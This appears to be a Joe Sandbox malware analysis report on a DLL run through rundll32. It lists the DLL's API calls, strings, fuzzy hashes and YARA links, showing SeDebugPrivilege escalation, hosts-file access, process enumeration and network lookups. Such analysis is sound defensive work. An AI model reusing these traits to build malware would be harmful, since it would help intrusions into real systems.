API String ID: 71445658-0
Opcode ID: adf75bf85e2af3ddcfeaeaac0d99d0987dcd00327a37493a0bb918ee9644fffb
Instruction ID: 50e6064c7111890aa9a03aac3f3b9a89cc62f2ac42a6c8a70e0450a1f82d0af1
Opcode Fuzzy Hash: adf75bf85e2af3ddcfeaeaac0d99d0987dcd00327a37493a0bb918ee9644fffb
Instruction Fuzzy Hash: 0ED0C2B9218201AF9604CB54D994C2BB3E9ABC8711F10C90CB59983240C630EC04CB22

Function 10004940 Relevance: 1.5, APIs: 1, Instructions: 12networkCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(?,?,?,?,?), ref: 10004959

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: InternetOpen
String ID:
API String ID: 2038078732-0
Opcode ID: 6e00a86521e39f70200af91c0e782be9a776f46f6143d79cb541def31d59b899
Instruction ID: c57f2b60c8454c0bab147a503f00b76e005ba1046bd805275401aac779bd7d3b
Opcode Fuzzy Hash: 6e00a86521e39f70200af91c0e782be9a776f46f6143d79cb541def31d59b899
Instruction Fuzzy Hash: B4D0C5F9218201AFAA08CB98D994D2BB3E9ABC8711F00C90CB5A983240C634E805CB22

Function 10004A80 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00000080,00000080,00000004,00000000,1000BBF2,00000000,00000000,00000000,00000002,c:\xrzyhhhnk\ReadMe.txt,40000000,00000003,00000000,00000004,00000080,00000000), ref: 10004A94

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 307ad37cac304fa9a49160dccf8dcea02f02b058180b3fe4503caacfb64423ba
Instruction ID: 6891ee5e46bc57ffaf97ee454a71f1b365b33a6ff264fc0d3ac975428b6807b6
Opcode Fuzzy Hash: 307ad37cac304fa9a49160dccf8dcea02f02b058180b3fe4503caacfb64423ba
Instruction Fuzzy Hash: C1C002B9608301BFDA04CB54C888D6BB7E9EBC8340F00C90CF999C3210C674E880CB22

Function 100048E0 Relevance: 1.5, APIs: 1, Instructions: 8synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(?,?,?,10008DF5), ref: 100048EF

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: CreateMutex
String ID:
API String ID: 1964310414-0
Opcode ID: c3fc0ddbfa11ab48aec40ca6578fb8896d180a8c1cb42ca496ab622c98b4a772
Instruction ID: 2243b4d894195d018e8de0dd45e47365024512defcc99eb91dc30795441f5685
Opcode Fuzzy Hash: c3fc0ddbfa11ab48aec40ca6578fb8896d180a8c1cb42ca496ab622c98b4a772
Instruction Fuzzy Hash: 07C04C78104211BFDA04CB14C984C2BB7A9EBC4610F00C90CB89582214C630EC80DB51

Function 10004B10 Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

GetShortPathNameA.KERNEL32(?,?,?), ref: 10004B1F

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: NamePathShort
String ID:
API String ID: 1295925010-0
Opcode ID: 9f5cfde4427fa5097d0c1c0217ac771adfd46cf51cf8a9311dee08de603acc45
Instruction ID: 5a9084a55f8d2033a769c09c7aad229fb9ca7a40d13baa6944edb8cb5aec9d82
Opcode Fuzzy Hash: 9f5cfde4427fa5097d0c1c0217ac771adfd46cf51cf8a9311dee08de603acc45
Instruction Fuzzy Hash: B2C048B8208200BFEA04CB10C988C3BB7E9EBC9610F00C90CF88983210C670EC40DB22

Function 100014A0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(04466F98), ref: 100014B6

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 3fdfd97ca8c23d8f0530906f45af778a22596f4696536d932bba85b17bd97f22
Instruction ID: 725f2ff9a6cedf6bbb67758c43434fa7ac3ec696b7c5dfde3be615a84814b02d
Opcode Fuzzy Hash: 3fdfd97ca8c23d8f0530906f45af778a22596f4696536d932bba85b17bd97f22
Instruction Fuzzy Hash: 75B092B0801520CBEB02CB6088C840B7674A30C2423108205FA10C3228EB34D0009B50

Function 100014D0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(04465F90), ref: 100014E6

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: a7f2342bc6644b56cfd7610f8ddd93b81e28e0250071e72ee512f0feba057ba5
Instruction ID: 35b88f928cdc07da968701179a6f33f0e97a6378d6662f65b823b83c2d3665f9
Opcode Fuzzy Hash: a7f2342bc6644b56cfd7610f8ddd93b81e28e0250071e72ee512f0feba057ba5
Instruction Fuzzy Hash: A8B092B4900520CBEA12CBA0888840B76A4B30C2813008205F920C3229EB30D000DB10

Function 10004D10 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

Process32First.KERNEL32(00000000,00000000), ref: 10004D1A

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: FirstProcess32
String ID:
API String ID: 2623510744-0
Opcode ID: 06074555a490e452e0c33516115e8def1b160905719b86e6ca60f0acd3be714b
Instruction ID: 43577a1182ef3f798ff4e4d470cfcf9041e9be16eb90189a2022d36134155a7f
Opcode Fuzzy Hash: 06074555a490e452e0c33516115e8def1b160905719b86e6ca60f0acd3be714b
Instruction Fuzzy Hash: 51B09275504200ABD214DB10C994C2BB7A8AB94301B00C809B48A82210C630D840CB21

Function 10001530 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(04461050), ref: 10001546

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 2558f847f3bd71bba4265f3a4f9d7399b42694cb2fe8554de869f675100a772c
Instruction ID: 0f05b9913dce9b7b17749fc1586e01a4e82b3307b98390648e12e362a5b60e72
Opcode Fuzzy Hash: 2558f847f3bd71bba4265f3a4f9d7399b42694cb2fe8554de869f675100a772c
Instruction Fuzzy Hash: 9DB092F0800A20CBFA128B608CC84473774A34C242320C002F911C7224E730C154DB20

Function 10004D30 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

Process32Next.KERNEL32(?,00000000), ref: 10004D3A

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: NextProcess32
String ID:
API String ID: 1850201408-0
Opcode ID: fb3d1d2fe4f58d77b62947db14fcf388f89edba650b3a7b099c6c960cb254603
Instruction ID: 432f843a027fd044bab358c4309ee591cd41ce3803a4c335f332d4fec9f9d121
Opcode Fuzzy Hash: fb3d1d2fe4f58d77b62947db14fcf388f89edba650b3a7b099c6c960cb254603
Instruction Fuzzy Hash: EDB092B5104200ABD214DB10C984C2BB7A8ABD4301B008808B48A82110C634D880CB21

Function 10001590 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00C7D0F0), ref: 100015A6

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: b8e4ff15c4138358dcbf467bb1e805bc5a866f0c9e2c71367f6b70752848133d
Instruction ID: 22283fd24f107b37298acc13f8db5db648e85e1336fc49587faefca2ed5f0806
Opcode Fuzzy Hash: b8e4ff15c4138358dcbf467bb1e805bc5a866f0c9e2c71367f6b70752848133d
Instruction Fuzzy Hash: 24B092B0850924CBF612CB608CC840B3774A78C2423408201F915C7225E730C010DB10

Function 10001620 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00C7A0D8), ref: 10001636

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 854aff89b505d9f21911f8c1ba55fbf1c8cc102515e225042a2c32485127d58f
Instruction ID: 6451e9acda46e7ae8c67071bb3abdc211bd966f3bbc7d4a56457b69d03684d62
Opcode Fuzzy Hash: 854aff89b505d9f21911f8c1ba55fbf1c8cc102515e225042a2c32485127d58f
Instruction Fuzzy Hash: B2B092B09016248BEB12CF608C8844B3764A30C2413448405F920C3228E734C008DB10

Function 100016B0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00C770C0), ref: 100016C6

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: f0908b3c00027b1b6766c7a861152c97f68057995d64c84cdc6b6950141695e5
Instruction ID: f44bec48cfd1db76282749f53c4335c8f231482f3a8341f8f54339fd7f20c475
Opcode Fuzzy Hash: f0908b3c00027b1b6766c7a861152c97f68057995d64c84cdc6b6950141695e5
Instruction Fuzzy Hash: 5EB092B4800620DBEA228F608CC840736A4A30C241310C801F910C3224D734C004DB60

Function 10001710 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00C750B0), ref: 10001726

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: ab9ae1063b3321a9dca9df484140cc1d72058cb032d66644504e5a3d9c28704e
Instruction ID: 01a5768d41d78c628a35912e35f35776f9a67f167c5283b5b972b0fbab8e5750
Opcode Fuzzy Hash: ab9ae1063b3321a9dca9df484140cc1d72058cb032d66644504e5a3d9c28704e
Instruction Fuzzy Hash: A1B092B88005208BE612CB60898840B3675A30C2813008101FA10C3224E734C0009B20

Function 10004C60 Relevance: 1.5, APIs: 1, Instructions: 4registryCOMMON

Download Yara Rule

APIs

RegCloseKey.KERNEL32(1000AB02,1000AE3A,80000002,1000AB02,?,?,?,?,75920F00), ref: 10004C65

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: ab5e289189027fa5173076accd2a09c4160f3ba94fff289705bc0327fdc0764d
Instruction ID: 915426f7239b9cb48ebf138ba431655957d97aef7f5178b11ca68321cf6e6836
Opcode Fuzzy Hash: ab5e289189027fa5173076accd2a09c4160f3ba94fff289705bc0327fdc0764d
Instruction Fuzzy Hash: C1A00275904610AFDE40DBE4DA8C81A77F8AB85712B00C845F146C3510D634D840DB11

Function 10004890 Relevance: 1.5, APIs: 1, Instructions: 4networkCOMMON

Download Yara Rule

APIs

gethostbyname.WS2_32(?), ref: 10004895

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: gethostbyname
String ID:
API String ID: 930432418-0
Opcode ID: 50365e01bdaa580be6bb6383309374887bc137a38b4d224bf2d268161eb1372f
Instruction ID: 26478d519f0170d2f3c1910e6c0f6e08a92a4de9d16a5e5f2b495c288a005660
Opcode Fuzzy Hash: 50365e01bdaa580be6bb6383309374887bc137a38b4d224bf2d268161eb1372f
Instruction Fuzzy Hash: 1EA00275908214ABDE00DBA5CA8C81E77E8BF85701B00C844F145C2110CA34D844DB51

Function 10004A10 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

PathFileExistsA.SHLWAPI(?,1000BB9A,c:\xrzyhhhnk\ReadMe.txt,SeDebugPrivilege,00000001), ref: 10004A15

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: ExistsFilePath
String ID:
API String ID: 1174141254-0
Opcode ID: a2ead1cd667fb061e5310f991c7bc1f390f2f87bae4bb2e0e60ae8b5a9b1b8f4
Instruction ID: ec750d28cb6fbb977bf46ecf5412cbf52607359abee085474d97c5188552acf2
Opcode Fuzzy Hash: a2ead1cd667fb061e5310f991c7bc1f390f2f87bae4bb2e0e60ae8b5a9b1b8f4
Instruction Fuzzy Hash: F4A00275904210AFDF00DBF4CA8C81A77E8ABC5701B00C844F145C3110D674D850DB11

Function 10004B30 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

GetDriveTypeA.KERNEL32(10019D30,1000B666,10019D30), ref: 10004B35

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: DriveType
String ID:
API String ID: 338552980-0
Opcode ID: 7196cfdbc03724b64f0cbb3baeb96423ea548a19a07590a7764bab302cc12c8f
Instruction ID: 9c3019adaafa634595d2db0f921d36bac7b56a2a79f4b30dc892680141a0bc5c
Opcode Fuzzy Hash: 7196cfdbc03724b64f0cbb3baeb96423ea548a19a07590a7764bab302cc12c8f
Instruction Fuzzy Hash: 74A002B5A04210ABDE00EBA5CB8C91A77FCAB89701B008845F549C2011C678DC40DB11

Function 10021790 Relevance: 1.3, APIs: 1, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000040), ref: 100217ED

Memory Dump Source

Source File: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 1b9a90a861be483b221b99874f8e2b3b106077afceec4b8f99b5110b6b4da362
Instruction ID: 2c76a93c93dfa73a3cc5bc0969654cda5b929ba325a9910453c2048308b3be31
Opcode Fuzzy Hash: 1b9a90a861be483b221b99874f8e2b3b106077afceec4b8f99b5110b6b4da362
Instruction Fuzzy Hash: D9016D35E843289FDB61CF28CC087C8B7F1EB44351F6100A8E688B7285D7B5AE818E44

Non-executed Functions

Function 10006090 Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 94stringCOMMON

Download Yara Rule

APIs

strrchr.MSVCRT ref: 1000610E
strncpy.MSVCRT ref: 10006125
strncpy.MSVCRT ref: 1000612F
GetSystemInfo.KERNEL32(?), ref: 10006139
GetCurrentProcess.KERNEL32(00000020,?), ref: 1000615A
OpenProcessToken.ADVAPI32(00000000), ref: 10006161
LookupPrivilegeValueA.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 10006172
AdjustTokenPrivileges.ADVAPI32 ref: 100061A7
CloseHandle.KERNEL32(00000010), ref: 100061B2
sscanf.MSVCRT ref: 100061DD

Strings

SeDebugPrivilege, xrefs: 1000616C
c:\xrzyhhhnk, xrefs: 10006104
%[^, xrefs: 100061D3
etc\hosts, xrefs: 100061B8, 100061D8

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: ProcessTokenstrncpy$AdjustCloseCurrentHandleInfoLookupOpenPrivilegePrivilegesSystemValuesscanfstrrchr
String ID: %[^$SeDebugPrivilege$c:\xrzyhhhnk$etc\hosts
API String ID: 3677170833-412453146
Opcode ID: 1d3e106431755b1c910628fea7e204a29dca4c5e9b862ff13ab7f723e560162f
Instruction ID: 40014daf93b6d2639d90dc8878842a3feb4d3ad8defe4510b3edf01b2d76c729
Opcode Fuzzy Hash: 1d3e106431755b1c910628fea7e204a29dca4c5e9b862ff13ab7f723e560162f
Instruction Fuzzy Hash: 403156B5904360AFE310DF65CDC9A6BBBE8FF8A310F40851AF645866A1D7B4D580CB62

Function 10005A10 Relevance: 19.7, APIs: 4, Strings: 7, Instructions: 473COMMON

Download Yara Rule

APIs

wcscat.MSVCRT ref: 10005B73
InterlockedDecrement.KERNEL32(00000008), ref: 10005E38
_strcmpi.MSVCRT ref: 10005E55
InterlockedDecrement.KERNEL32(00000008), ref: 10005F59

Strings

svchost.exe -k NetworkService, xrefs: 10005F73
svchost.exe, xrefs: 10005E4F
Name, xrefs: 10005D04
WQL, xrefs: 10005C19, 10005C2F
CommandLine, xrefs: 10005D1B
SELECT * FROM , xrefs: 10005B43
ProcessID, xrefs: 10005D32

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: DecrementInterlocked$_strcmpiwcscat
String ID: CommandLine$Name$ProcessID$SELECT * FROM $WQL$svchost.exe$svchost.exe -k NetworkService
API String ID: 1133782235-2685825574
Opcode ID: 0ce223196c44f2370e13e00feec4bfde119dc900f9d0c8cd7ae9a200d1607e84
